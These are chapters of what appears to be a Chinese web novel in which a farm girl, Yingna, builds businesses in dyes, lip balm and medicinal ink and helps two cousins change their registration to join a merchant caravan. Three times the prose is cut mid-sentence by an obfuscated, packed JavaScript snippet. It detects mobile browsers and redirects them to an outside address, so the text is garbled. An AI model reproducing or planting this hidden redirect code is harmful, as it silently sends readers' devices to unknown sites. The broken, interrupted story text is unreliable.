一百石米、一百石麦最占地儿，此外还有约摸三百扣量的花青，两千斤干栀子、两千八百斤干制茜草根，昨年得的一对银镯、今年得的一支素簪，戴娘子送的白玉堂香膏、桂花香膏，十份八宝五胆药包、十五份甲煎口脂药包，落花生二十斤、胡麻近十四斤、胡麻油一罐、山茶油十坛，大王村五亩田地地契。 来日还有三百石粮入仓，偏屋里也还阴着十方药墨、窖着五十斤柿子。 除开这些，现钱也还剩来一千八百一十五两并二百二十文钱。 瑛娘琢磨着那一千八百两元宝不能再动，索性把那十五两碎银和零散铜钱装在一个钱袋子里，待得汪点柱送过云氏回来，再给她爹和四叔汪点水工钱，叫他们帮着把那五亩地好好养养，以备来年春种点上落花生和胡麻。 倒是汪文、汪武那头……若无意外，找个日子进城，她便能与章文德商量着来年将这两兄弟丢去商行做学徒，届时，他们一走，家里这一摊子活儿却是不好再支使人帮忙了，索性趁着年跟前儿还有两月余，叫他们再砍些松木来烧灰打墨，免得来年还得费神去借人来使。 如此决定，瑛娘便着手开始安排。 汪点柱和汪点水都是田中好手，养个五亩地不在话下，不过瑛娘愿意给钱，他们也乐得收下，一人一两碎银，连同来年种地的活儿也一同包干。 汪文、汪武卖的劳力却不是一、二两能填的，瑛娘只叫他们抓紧了做，待得过年时再与他们大红封。 瑛娘给钱可从不小气，她都说大，那红封分量必然不能少！ 两兄弟还不知道自个儿亲娘那头已经给他们一人做着两身新衣，只想着红封便乐得大笑，转天就开始“哼哧哧”卖力与瑛娘干活。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15015638|158875||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 见家小如此，徐氏也不想歇了，赶紧操持起踏碓，为来年的七千块茶枯皂卖力。 家里头忙着，云氏那头也不清闲。 云家清贫，今年增了地税日子便愈发难过，云氏带回的十两银足够一家子买粮应付来年的嚼用，一听只不过是帮着老汪家结交的商户收粮，当即便整家儿忙活了起来。 云氏在云家小住了一日，可惜多年未归，便是云氏有心相处，也觉家中嫂嫂妹妹与她多有些不适，遗憾之余，也只得先往云客家去。 云客族中行成亲即分户的规矩，小两口自个儿挣钱来在村尾买了块地，建了一处三间屋的小院子。 因着兔笼味儿不爽，云客在院子外头单独搭了牲畜棚子，垒了架子安置兔笼，下头垫了干草一遍日日更换，云氏看过便更觉满意，将瑛娘的事儿道与云客，才拉着瑾娘回屋说小话去。 云氏带来的棉绢和丝绢虽未染色，瑾娘却猜到这多半还是瑛娘自个儿做主买来叫云氏贴补她的，虽日子过得还算如意，母女两却还是抱作堆哭了许久。 待得两人一解思念，母女俩才笑着与对方擦了擦脸。 “你嫁过来也有大半年了，可有喜讯？” 瑾娘羞红了脸，却是摇了摇头，“表哥道是不急，让我养养身子再说孩子。” 云氏满意的点了点头，也就不催了，“阿客是个有出息的，又心疼你，日后若遇了事儿，你尽可好生与他商量，千万别把事儿都往心里埋，再闷出个好歹来。” “我知道的……娘这回能住几日吧？” “先住一晚，还得去琼娘家看看，待我去过再回来找你。” 琼娘就嫁在隔壁村，云氏过去也费不了多久时，云客倒是劝了云氏多待了半日，吃过午食才架了驴车将她送去。 出嫁八载，琼娘膝下已有两个孩子，大的儿子六岁，小的女儿三岁，因着这两个孩子，她在婆家的日子也是一日比一日好过，待母女相见，琼娘却是比云氏记忆里圆润了许多。 琼娘比瑾娘更善，两个小的也是听话可爱，云氏看得心软，叫琼娘收好布匹，才摸了四两碎银，与两个小的一人一半。 琼娘知晓云氏在家的日子不好过，当即要拦，云氏却背着两个孩子撩起了袖子，好叫琼娘看她手上带的镯子。 “呀！” 琼娘惊得连忙捂住嘴，又忍不住伸手摩挲镯子质地，确定这镯子是真金，她才瞪着眼睛问云氏打哪儿来的。 “却是你七妹买与我的。瑛娘聪慧，打书上寻摸了些法子叫家里增了两门营生，你爷奶如今偏宠她，自然也不会再亏着我，日后你也莫再多担心娘，好好过你的日子就是。” “我这日子过得还不好么？”琼娘一笑，那脸上便起了肉窝窝，“知道娘好过了我也舒坦，来年指不定还得多长几斤肉。” “也是女婿惯着你，瞧你跟出嫁前都似变了个人样了。” 琼娘捂着嘴笑，脸上满是甜蜜，“娘在家多住几日吧？回头叫三郎送你回去。” “不了，就住一晚，明儿还得去你舅家看看。” “成吧。那我去烧个肉菜，也好叫娘尝尝我的手艺。” “你的手艺，我还不知道么？” “嘻嘻。” 40. 更籍 清闲了几日，瑛娘便着手制口脂。 甲煎口脂色美、细腻、醇香，方氏起先准备卖五两，但汪辰却说瑛娘必定不可能做一锤子买卖，之后量大，劝她卖个三两足矣。 方氏也不是那等贪心的，果真照着三两的定价买了几日，见那些个娘子热情不减，却也未再开口加钱争抢，这才确信汪辰说得没错。 卖三两也挣得许多，城头喜好这口脂的娘子更觉方氏实诚，口口相传下又与方氏引来了不少客，叫她觉得这一百瓶口脂怕也卖不到年跟前儿，只得与瑛娘商量着再做些来卖。 瑛娘本就备上了十五副药包、十坛山茶油，调整一下用量，约摸能制得五百瓶甲煎口脂。 但这五百瓶口脂瑛娘也不好全叫方氏一次拿去卖，便估量着瓷器铺子开了第一窑送上门来，寻了个时间进城取了二百个广口瓷瓶，按着这数做了与方氏去卖。 二百瓶口脂少说得卖三五月，加上方氏手头剩的几十瓶，瑛娘约摸来年三月里头再做剩下三百瓶也使得。 方氏这头事了，前头瑛娘支使汪文、汪武在六月里烧灰制得的墨也是阴干了。 十锭药墨瑛娘只取了五方入匣，余下五方以油纸裹了两层整装入仓收藏，待得云客送回钥匙，确定无甚遗漏，瑛娘才自个儿赶了车进城收粮、送墨。 只有月余便要过年。 瑛娘上门时章文德正忙着铺中盘点，见她拿了匣子还与她说笑，待得看清匣子里的墨锭，他才停下了手头的活计，取了一方来嗅。 这药墨味浓，闻着就不似凡品，章文德看过便不自主在心头估了个价，笑问瑛娘：“这墨锭闻着倒是比书肆里头卖的更香，用料皆上成吧？” “先头章叔也瞧见了，十三两的药包，拢共出了十方。” 章文德着实一惊，道：“我可记得里头好药不少，全用上了？” “确是。因而这药墨不仅用于书写，还能内服，止血行淤、愈外感时疫。章叔不是与西市商行熟识？在外行走难免磕磕碰碰，且送几方去叫他们备着，有个事儿也能应应急。” 说到这地步，章文德哪儿还不知道瑛娘有所求？ “说罢，有甚要章叔帮忙的？” 求人办事，自是不好站在人家铺子里头空谈，看着时辰正好，瑛娘索性叫他去先头那家酒楼边吃边说。 请客吃饭菜色得全，瑛娘便定了一桌二两的筵席。 章文德直呼“瑛娘客气”，只待吃得半饱，才主动提及商会，道：“瑛娘是想叫我与你牵线吧？你这药墨我瞧着是不错，就是不知定价几何？且十方太少，东家便是愿意帮忙，你这药墨也是不够放去商行往外销的，怕是得再多些才好。” 瑛娘笑着摇了摇头，“却是叫章叔误解了。这回墨少，盖是因着家里头暂时没得卖墨的打算，取墨时便算好了量，不然怎可能将将十几旬就出墨？那五方药墨章叔只管拿去送人，若觉占了便宜，便帮着与商队管事的叔伯们说说情，好叫他们见见我五哥、六哥，届时，若叔伯们觉得他俩还成，便放他们进商队做个学徒，随意差使，不给工钱也成！” “原是打的这主意？成，明日叫上你两个哥哥，我带他们去商行现个脸儿。” “多谢章叔！” “又外道了不是？我就牵牵线，成与不成，且看你两个哥哥自个儿争不争气。” 事情谈妥，章文德急着回去继续盘点，瑛娘不好再多打扰，二人便自酒楼分道。 这回进城瑛娘也没别的事要做，但日头尚早，索性赶着车又去了农集。 农集中典粮的农户之多，瑛娘借着骡车便利收了约摸十石稻米，扭头又去肉铺买了半扇猪，这才慢悠悠赶着骡子出了城，待得避过他人耳目，将这零散的十石稻米藏进仓里，才催促着只载了肉的骡车提速。 这月余来有进有出，总体结有盈余，瑛娘便拿了些碎银兑成元宝一同藏进仓里，整合之后共计二千一百两。 年跟前儿再没别的开销，这些元宝自不必动，余下一百零五两碎银并一百八十文钱也足够作来年买卖的本钱，瑛娘便默了默缺用，单分出来二十两，以备过年时拿给汪文、汪武。 老汪家现在不缺吃喝，瑛娘买来的半扇猪便叫云氏与何氏合力做成了熏肉悬在梁上，待得临了年节，好分出些送与各房娘家。 瑛娘没管这猪如何分配，扭头找了汪木匠与徐氏，先与他们说了章文德应允帮忙引荐之事。 因着今年增税，汪木匠很是愁苦了一阵，徐氏也忧心这世道乱起来，眼下一听有望将孙子送进商队做学徒，当即便要叫汪点水明日一同去城头。 汪木匠还叫徐氏拿钱：“不管成与不成都该给那掌柜的补上一份厚礼，老婆子取点钱，一会儿给老四，好叫他明儿个去城头看着采买。” “是该！是该！” 徐氏扭头取了三两来，汪木匠想说少，却见瑛娘伸手接过了碎银。 “无需再备礼，先头叫五哥、六哥帮着打的墨我已经送了五方与章叔，再送却不合适了。这钱便叫四叔明日拿去备席，总不好叫人在外头站着谈事。” “……”吃什么能吃三两银？！ 徐氏瞪了瑛娘一眼，倒是没把银钱要回来，只道：“墨那般值钱，你咋说送就送了？” “四姐夫去年跟着商队跑了俩月就挣来十两，您是觉得五哥六哥不如他么？打那些墨拢共也就花了十三两买药的本钱，这还剩了一半，随便卖卖也够本了。再说，等五哥六哥学成了，好好跟着商队干，来日跑一趟商就能挣得来许多，不比在家闲着种地好？” 农户都是看天吃饭，每年收成还得上交，若年年都如今年这般，便是种再多田地也不够一家子嚼用的。 汪木匠早就想通了，但徐氏还有忧虑，不禁迟疑道：“那真叫小老五、小老六更籍么？” 当今重农抑商，商籍转农需得缴上千两银，再买二十亩地，三年不荒才可正式加印。 而农籍转商虽不必付出真金白银，但名下田产需得归还村里，百年内也不可再买田地行农事之宜。 照理说老汪家行几门营生便算违律，只是家中田地未荒，营生也归于汪木匠和徐氏名下，且十里八村的也多有那等进城营生糊口的辛苦人家，县衙不愿费力去管，村正便也不加干涉，加之心有嫉妒的村人读不懂律，只知老汪家三房那般营生才算在城头做买卖，这才叫老汪家安然。 但汪文、汪武去商队却不能同日而语，盖因商队行走需得正经文书加印，而他兄弟二人为农籍，便是名下无田产，丰县城关也不会允他们远行，因而不更籍确是不成的。 转商籍 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15022830|158875||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 容易，但成定局，除非子孙出息考至禀生，汪文、汪武三代以内便再无复农的希望。 “先与老四和老四家的说说，且看他们如何说。” 转籍更意味着分户，汪木匠不可能叫整家儿分开了过，所以汪文、汪武要转商籍，必定得将他二人分为独户，汪点水与何氏可不见得能同意。 瑛娘早与汪文、汪武提过商队之事，依着他兄弟二人近来的情绪判断，汪点水与何氏多半不会拦着他们去外头闯，不过事该过耳，汪木匠和徐氏两老口也不能自个儿把话说尽，也该与他们商量过才好决定。 这事儿一提，汪点水与何氏果然没得意见。 汪文、汪武乐得险些掀了桌，被徐氏一瞪才捂着嘴收敛了些。 只是两兄弟挤眉弄眼地与瑛娘作怪，徐氏懒得去管，只叮嘱汪点水，道：“总归明儿个你要去城头。这事儿若成了，你就带着小老五、小老六两个去户所更籍，若没成了……两个就好生在家里头帮瑛娘的忙，攒点钱，来年好相看。” 这两个来年就十六了，若学有所成，十八、十九也不算迟，怕就是不成，这两个还心大，到时候谁家好闺女看得上？ 徐氏愁得很，转眼又见瑛娘那张越发水灵的脸，忍不住搁了筷子按了按头。 春耕过后这闺女也该十三了。 十里八村的闺女就她老汪家的最迟相看，一个琼娘十七才说成，一个瑾娘也是十七才出门，照着云氏那做派，估摸着也得留瑛娘到十六、七。 若说迟吧，这闺女身负天大的秘密，说与谁家都不省心。可若说再多留几年吧，那成了二十往上的老姑娘，哪儿还说得上那好点的人家？ 愁啊！ “老大家的，头回你回娘家，家那头的亲戚都还好吧？琼娘、瑾娘那婆家也都去过了没？” 云氏被问得一懵，倒是老实回了：“都过得去，琼娘、瑾娘也好，娘为何问？” “……”徐氏自然是想叫云氏再帮瑛娘也说个能叫家里头省心的婆家，只是饭桌上不好说白，只尬然一笑，摇头道：“没甚，就问问。” 说罢，却琢磨着明儿个家里头清闲，再找云氏好好说道。 吃过晚食，各房忙过自家的事儿才回了屋头歇着。 汪文、汪武两兄弟要分户，且不管大房、二房的如何想，三房里陈氏却是拉着汪点书说起了私话儿。 如今么，三房支着面摊，小老三屋里的方氏也做着极挣钱的口脂买卖，算得整家儿除了瑛娘外最富裕的小辈，陈氏心头便又提起了去城头租个铺子的念想，也省得每日风里雨里的起早贪黑。 “反正咱家也不指着地里头那点产出，大不了咱以后自家管自家的嘴，每月还往公中拿钱，爹娘该是能同意吧？” 汪点书有点意动，但碍于双亲震慑，又有些踟躇，“那不跟分家似的？爹娘指定不干。” “怎么就分家了？咱也就秋收后到春耕前才日日待在城头守着铺子，春耕那会儿你不就回来帮着家里头打理田地了么？等到八月里咱就关了铺子整家儿回来忙活俩月，又不是真不管地里活计了，爹娘咋会不乐意？” “……再看看吧。小老五、小老六的事儿不还没定么？” “那你的意思是他俩成了咱再去提呗？” “嗯……嗯。” 41. 冷清 有章文德出面，商队直接来了两位说得上话的管事。 也不知他在其中使了多大的力，甫一见面，这两位管事之一便对汪文汪武两兄弟露了颇为满意的笑意，话不多说又点了两兄弟考了算术、气力。 两兄弟自是知晓这考校关乎自个儿能不能入得商队，卖了力现眼，好歹叫另一个神情严肃的管事也满意地点了点头。 章文德也是初见两兄弟，但与两位管事熟识，见状便知此事成了，“两位给个实在话，我这两个侄子还算入得了眼吧？” “是不错，一看就是能干的小子。” 章文德看了一眼汪点水，见他没插口的打算，便替了他，乐呵呵与两位管事道：“可不？我这兄弟一家子老小都是肯吃苦的，虽说家里头只有四十亩地，但每年不仅打理着田间地头，空闲了也做着好几门生意。先头东家叫你们运出去的茶枯皂、昨儿个我给你们的墨做来都是极费工夫的，你们也瞧见了那墨锭的质地，这两个小子要没把子力气、把握不住火候，那可打不成的。” “哦？那入商队做个学徒倒是紧够。只是入商队做学徒可得更籍，家里头老人都没话说？” “有话说我还能叫你们来？” 两位管事“哈哈”一笑，一人拉了一个，再朝汪点水一拱手，“两个孩子交到我们手头只管放心，只要愿听、肯干，无需多久就能跟着商队出去见见世面。” “都是自家子侄，今后就都叫叔。” 拉了汪文的管事姓连，带汪武的姓黄，两兄弟朗声叫了叔，瑛娘也跟着打了招呼，汪点水这才回礼，开口叫章文德和两位管事去酒楼坐坐。 既认了子侄，吃饭便算小事。连、黄二位管事也是没推脱，一行去了酒楼吃吃喝喝，也说定了两兄弟年后再入商队做学徒。 “春日里有往北地去的队伍，你们备好行囊，年后就去商队跟着叔伯兄弟操练月余，好出行。” “好！” 此间事了，汪文、汪武随汪点水去户所更籍，瑛娘与章文德送过两位管事，去西市瓷器铺子知会了一声，这才转道去了东市粮铺。 这月余粮价果真涨了许多。 原本六百文一石的稻米眼下涨了足足两百文，麦也涨了一百，便是饱腹的番薯也提到了一文一斤。 “小娘子买多少？” 瑛娘藏的粮足够一家子吃上五年，闻言摇了摇头，回了甜水巷等瓷器铺子掌柜送货，待得收过瓷器，才又去中人屋舍找到牛二归还了钥匙。 “院子可是叫小娘子用着不爽？眼下可才腊月初，便是退回了钥匙，先头交的租子也是不退的啊！” “牛二叔多虑，确是不需用了才退了钥匙。” 牛二缓了一口气，这才笑着接过钥匙，“成，下回还需用便直接来屋舍找我，别再劳你章叔。” “知道了，多谢牛二叔。” “外道啥？成了，时候也不早了，叔不多留你。” 瑛娘又笑了笑，别过牛二，寻了办完更籍的四房父子一道回了村头。 两兄弟分了户，三房如何能忍住不动？ 且不知他们如何说动了汪木匠和徐氏两老口，总归没隔几日便在东市寻摸了一处铺子签了恁书。 那铺子前头能摆五张桌，后头也有两间屋，只待一通洒扫，年后便能叫汪辰与方氏也宿在城头。 家里少几个人也不见得会冷清多少。 总归人不能总闲着。 趁着冬日里软绵，瑛娘又搬出小锅在院里头架着炉烧，几日里做得三百瓶口脂，又催着汪文、汪武赶着年跟前儿把一百方墨锭打好晾在偏屋里，一家子匆忙过了个年，这才各打各的包袱，一起去了城头。 因着铺子需用更多，汪点柱和汪点水也配合着多晒些薯粉。 待得春耕时汪点书归了家，便是陈氏那般抠搜的也咬着牙请了两个跑堂才忙活得转，可见生意红火。 徐氏心头多少闷着气，接连清点了年后两月来的盈收才爽利了些，转头问瑛娘：“先头买的地怎么打算？我瞧着你不是买了什么稀奇的种？五亩全种那东西么？” 种落花生需用的种多些，二十斤将将够种一亩，胡麻倒是一亩只需八两种，可条件受限，想多种也无法，只能先这么着了。 “大粒的是落花生，小粒的是胡麻。来年收成能有二三百斤，到时叫二叔二婶买去二百斤摇油，便是一斤只卖个三百文也能挣得来二十几贯。” “那般值钱？！” “自然。叫我说胡麻油比山茶油还香些，若能做出个名堂，价比山茶油高些也成。可惜田地还得顾着稻、麦，不能再多种些。” 徐氏倒吸了一口气，好悬没把自己呛着，“来年再寻机会！今年抓紧了种上几亩，八、九月里收来叫你二叔二婶摇油！到时分他们二成，多的奶和你平分。” 瑛娘能缺那几贯钱？笑着摇了摇头，只叫徐氏与二房平分去，“菽乳卖得不好，二叔二婶又养着个读书郎，手头太紧巴可不成。” “就你心软，难不成小老九读书的开销不是公中出的？” “读书哪有那般简单？年节时得与老师节礼、平日同窗结交也得花钱。小九眼下是还小，不知何谓攀比，待得再大些不得好面子？总不能临了事儿再回家找奶接济？届时指不定再闹出什么怪来。” “……”徐氏哪知读书还有这些讲究，支吾半晌，语气倒是软了下来，“那不能单叫你亏着吧？” “都是一家的，说什么亏？只卖胡麻就能得两贯钱，那地还用不着我操心，到底亏着谁了？再说，我也无需靠那胡麻挣钱，小□□成了也不能不认我这个姐。” 来钱的生意可多。 一年光颜料她就能卖得一千五百两，还有三百瓶香露、五百瓶口脂，除开五十来两本钱，少说也能挣得来二千七百多两，徐氏制皂分她的那点儿都算零花，只够她时不时买些点心、好肉叫家里甜嘴的。 徐氏不知瑛娘到底能挣多少，总归确是不差那点儿，嗔了她一眼，没多掰扯，这事儿便算定下了。 “也不知来年地税取多少，要是诚王不做人……哎！有人卖地咱就买，总有乱过的一天，到时叫他们挣钱买回去，也算全了往来情意了。” “奶还有这等觉悟？” “作甚怪？奶就不能作点儿好？” “能！能！” 徐氏心头爽了，这才去找汪点德和林氏说话。 自打三房一家子、四房两个侄子进了城，林氏这心头便着实气不顺。 徐氏懒得瞧她这小气吧啦的样子，也不提此前瑛娘说过空闲时要教二房做些小食的话儿，只叫汪点德先歇了去城头叫卖的活儿，“那菽乳暂时不好卖便罢了，歇上一歇，待得十里八村的乡邻喘过这口气儿再说。” 汪点德本就心重，眼下虽不至于为汪连读书花用发愁，但手头银钱缩减，再看其他兄弟都比他强，他心头便有些不好受。 且不提大房、四房。 如今三房在城头租了铺子，每日忙得恨不能一个人掰成两份劳力来使，因而便是一月租子三两银，那挣来的也比从前支摊子时翻了少说两番。 汪点德粗略算了一算，光靠这面铺子的盈收，三房一年干上十来个月就能分到少说五十好几贯，更别说三房那侄儿媳还巴着瑛娘做着口脂买卖。 这俩月汪点德没叫汪会出去，自个儿挑了担子在城头叫卖，时不时就能碰上几个认准了方氏买口脂的娘子，听着说是“一瓶只要三两银”，也不知道瑛娘收了她多少、叫她挣去了多少。 瑛娘可没少做口脂，便是一瓶叫她赚个半两，那几百瓶的盈收也以百计了。 这笔进账公中可没与方氏分利！ 汪点德越想越觉难受，脸上难免带出了些情绪，直与徐氏怨道：“娘，我心头堵！” 都是自个儿生的，徐氏怎能不了解汪点德的想法？ 闻言一叹，索性掰开来与他细说：“老二，眼皮子可不能这般浅！你别光盯着老三挣得多就怨！是！老三家的现在是挣得多，光这俩月就交回公中五十两。可如今老三一家子、老四家两个小的都转了商籍，百年内再无复农的可能，你大哥屋里又是那样，将来我跟你爹不得靠你和小老二养老？公中的银钱、田地不得多分些给你们？” “还有小老九。他有福气，能读书，一应花用由公中出。可读书是那般简单的吗？眼下还只是开蒙，读个两年再往正经学堂里送，到时一年束脩就得好几两银，还得穿衣吃饭、买书买笔、送节礼、交好友，那读书人是十几二十两就供得出来的？” “且不说那等长远的，就说你手头捏着的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15026712|158875||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 菽乳方子，眼下挣不来钱，来日也挣不了么？娘只是叫你缓缓，等大家伙儿把日子重新理顺咯再做！” 汪点德当然明白。 早在汪点柱放弃再生时，他便知道为二老养老的担子要落在他的身上了，眼下得了徐氏准话，才觉心头那口气散了些。 可他不好说自己还惦记着侄儿媳那点盈收，扭捏半晌，才又试探道：“娘，我闲不住，能不能叫瑛娘再想个法子？” 徐氏瞪了他一眼，“闲什么闲？家里头四十亩地，瑛娘那儿还有五亩，恁多地不够你种的？要么再买几亩？！” “娘！我哪儿是这意思啊？” “行了！瑛娘可是你亲侄女儿，她能叫你亏着？只管跟你爹你兄弟把那地头侍弄好，等今年忙过了，少不了活儿叫你干的。” 话说到此，汪点德哪儿还有什么不明白？乐得一呲牙，再顾不得什么心气了。 “那我忙去了！” 家里少了汪文、汪武，别说瑛娘不习惯，就是汪木匠和几个儿子春耕下地也觉有些吃力。 好在如今公中不缺钱花，汪木匠不想叫家里头这些个女眷也下田，便支使汪会去城头租了头耕牛来，好歹省下了不少气力，便是多了瑛娘那五亩地也只忙到了三月底。 三月底，恰是瑛娘最忙的时候。 今年没得汪文、汪武帮手，瑛娘只能叫玥娘跑腿，所幸村头各家老小都清楚瑛娘需用哪些东西，忙完地头的活儿就上山寻摸，只待玥娘上门招呼过，他们便一箩一筐的送来老汪家好叫瑛娘结钱。 倒是先头帮忙的六个半大小子都没再来，只托家里头的人传了信，说是那鱼丸、鱼羹的买卖做得顺，他们想多费些心思把这营生盘活。 小本买卖分六股也没甚挣头，但大王村临近丰县，稍远些还有府城，六个小子不怕吃苦，干脆分成两伙儿在丰县、骏阳府往返，一日算来也能挣得六七百文钱。 就是那鱼不够耗，他们便又琢磨着再拉些人来帮忙，最好能在村头开块荒地来蓄水做池塘，再想法子弄些鱼苗来养着，好给他们供给。 授人以渔，瑛娘自然乐见其成，只与那几家传信的人笑道：“只叫几位哥哥安心做，我不会多想的。” 这几家确是怕瑛娘不好相与，闻言也是松了一口气。 “多亏瑛娘帮忙，不然家里头今年怕是撑不到秋收了。” “是呀！哪敢想我家小子能挣回来钱呀！亏得瑛娘不计较！” “险些给忘了，我家小子还捎了别的话儿……瑛娘还需用那鱼腹里的东西么？家里头挑了那大个儿的给晒干，眼下也是存了不少，若要，一会儿我就给你送来。” 花青少不得胶飞，晒干的鱼鳔也易存，瑛娘便点头应了：“需用，婶子只管送来，多少都要。” 那妇人乐得咧嘴一笑，心道自家小子就是出息，别家想不到的他都能想到，这不，钱可不就叫她给挣了？ 结了花钱，目送几人离开，瑛娘转身回了院子。 胶不急用，四月急需交付的槐花香露和艾绿、栀黄、二色茜红却得抓紧了做。 没有汪文、汪武帮手，瑛娘一个人可搬不动天锅，好在林氏心头挂着秋收后农闲时得靠瑛娘想法子再寻一门营生，见瑛娘做得吃劲儿，嚷嚷着“放着、放着”，便自个儿上手帮忙了。 有人搭手，瑛娘自然不会拒绝，索性又叫上了何氏，教她注意火候加水、添花。 “二婶、四婶安心与我做帮手，待七月、十月的香露交付，我再一道与你们结工钱，过年时也少不了大红封，指定不叫二位婶婶亏着。” 过年时瑛娘给汪文、汪武两兄弟的红封可没遮掩，林氏一听便乐得直笑，偏何氏瞎客气，不待她出声就连连摆手拒绝。 “都是些不费劲儿的活计，瑛娘何须与我们做婶婶的这般客气？” 林氏偷摸翻了个白眼，又不好再说不讨喜的话来叫瑛娘误会她不乐意帮手。 好在瑛娘只笑了笑便忙自个儿的去了。 等她走远些，林氏又白了何氏一眼，“哼”了一声，才去灶间搬了些柴火来，“瑛娘给多给少都是心意，你不收我收！少说那些瞎客气的话来坏感情！” 何氏懒得理她，加了两把柴，又换过滴露的瓷瓶，捡了绣篓子坐到矮墩儿上绣起了花样。 42. 新糖 四色颜料合计一千二百扣，瑛娘一日也没敢歇，好悬赶着交付日前做完了。 恰逢汪辰带了信儿，说是方氏手头的口脂售罄，瑛娘便又趁着夜色取了昨年做好的三百瓶来装好，只待进城后一并送去与方氏。 这回进城瑛娘没甚别的打算，索性一觉睡到天光大亮才起。 临了出门，徐氏却不敢真叫瑛娘独自个儿赶车去城头，逮着汪点柱耳提面命好一通说，说罢还不忘追出门叮嘱：“去了城头你也别乱看、乱说，一切都听瑛娘的。” 汪点柱活了几十年，真论进城的次数还不比瑛娘这两年去的多，闻言眼神飘忽，下意识缩起了脖子，道：“娘，不若你也同去吧？” 徐氏最瞧不上他这点儿，没好气地白了他一眼，又怕瑛娘多想，堪堪收了收表情，这才抬手戳了两下眼前的榆木脑袋，“你怕啥？你怕啥？还没几岁大的娃儿争气！小老九读书都吵着要自己去，你呢？！又不是叫你独自个儿去！你到底怕个啥！” 汪点柱往年去城头找活做都是跟着汪木匠和几个兄弟，再不济还有几个侄儿替他揽活儿，根本不需得他自个儿与人攀谈。 可这回同去的却是未及笄的闺女…… 徐氏瞧他表情便知他在想什么，怒瞪他一眼，扭头便催瑛娘上骡车，“赶紧去吧，一会儿日头大了可热得很。” 瑛娘倒是从“汪瑛”的记忆中了解过汪点柱的德行，知其无大过，纯粹是没经过事儿，卑于与人交谈，便拉了徐氏歪缠道：“总归有我爹在，不若再叫上我娘，也带玥娘去城头见见世面。” 老汪家四个儿媳，二房林氏得徐氏信重，时不时便会进城典换鸡蛋、家用，三房陈氏如今也进城管着铺子，四房何氏嫁过来前更是常随娘家姐妹于府城行走。 唯独云氏在娘家时便不常出门，嫁到老汪家后也是日日操持家务难得清闲，更别提生得几个闺女后惨遭徐氏嫌弃，便是连回娘家一趟都要遭她一通白眼，所以丰县虽近，云氏去的次数却是寥寥无几。 听得瑛娘提及，徐氏难免忆起过往，面上登时也有些过不去，“玥娘去就是了，何必再叫上你娘，你娘又不爱出门。” 瑛娘心知徐氏这是为过往错失扭捏，厚着脸皮缠了缠，逗得徐氏一乐，松口支使汪点柱去叫人来。 汪点柱倒是无所谓自个儿媳妇儿进不进城，徐氏说他便照做，不消多会儿就抱着玥娘领了云氏来。 这年把来云氏心气也顺了大半，见瑛娘与徐氏亲近也没觉多难受，低眉顺眼的招呼过徐氏，便跟着汪点柱先上了骡车。 “奶，我们这就走咯。” 徐氏嫌瑛娘“过河拆桥”，不过日头渐高，她也记挂着自个儿的活儿，摆了摆手便先回了院子。 “走吧，爹。” 骡车缓缓驶出大王村。 玥娘还是头回出村，只安稳坐了会儿便忍不住在车上作起怪来，云氏见汪点柱赶车还算稳便也没多管她，倚着瑛娘轻声问道：“怎的想起叫娘陪你一块儿去城头了？” 香露、颜料的买卖都算稳当，云氏亦知瑛娘再没多的时间和精力来做别的，所以隐隐猜测这回进城约摸是要给她亦或家里头闲着的何氏再找个什么活计来做。 可除了裁衣、绣花，她与何氏又能再做些什么呢？ 瑛娘不知云氏想法，靠着她打了个呵欠，道：“娘都多久没穿新衣了？总归钱挣着了不用也是白放着，进城逛一逛、看一看，买了新布回去也好裁几件新样式来穿穿。” 打从做薯粉至今，汪点柱交给云氏的盈收已近十九贯钱，加上最初两月及昨年一季一批次的手帕、瑛娘第一年孝敬的一两小元宝、贴补琼娘瑾娘剩下的碎银，云氏手头拢共攒下了两锭十两的元宝并五贯铜钱。 云氏舍不得花用，打算再攒几年，等到瑛娘十七上下，相看好了，再去兑成一锭百两重的大元宝，好叫她拿去压箱底。 只是这话不好直接说与瑛娘听，云氏便只笑笑，没搭腔。 一路不多言语。 汪点柱鼓着一口气驾着骡车进了城头，听得瑛娘指挥，直奔至东市杂货铺子。 虽在人前畏缩，真叫干活汪点柱也丁点儿不含糊。 颜料一筐装了六百扣，瑛娘抬个筐角都嫌累，汪点柱却能挤开两个伙计，只双臂合力便轻巧地将箩筐搬进铺子里。 章文德也看得惊奇，丢下手中的活计迎出门来，再看云氏与玥娘，观其面貌与瑛娘多少有些相像，霎时明白这几个未曾面见过的生人也都是瑛娘家中亲眷。 瑛娘自是不会等章文德主动问及双亲，见章文德相迎，便连忙拉着云氏和玥娘上前问候，“这位就是助我颇多的章叔。章叔，这是家中双亲及小妹玥娘，今日随我进城来采买东西。” 章文德目光不好多在云氏身上停留，便只点头与她示善，随即转开视线看向玥娘，未言先笑。 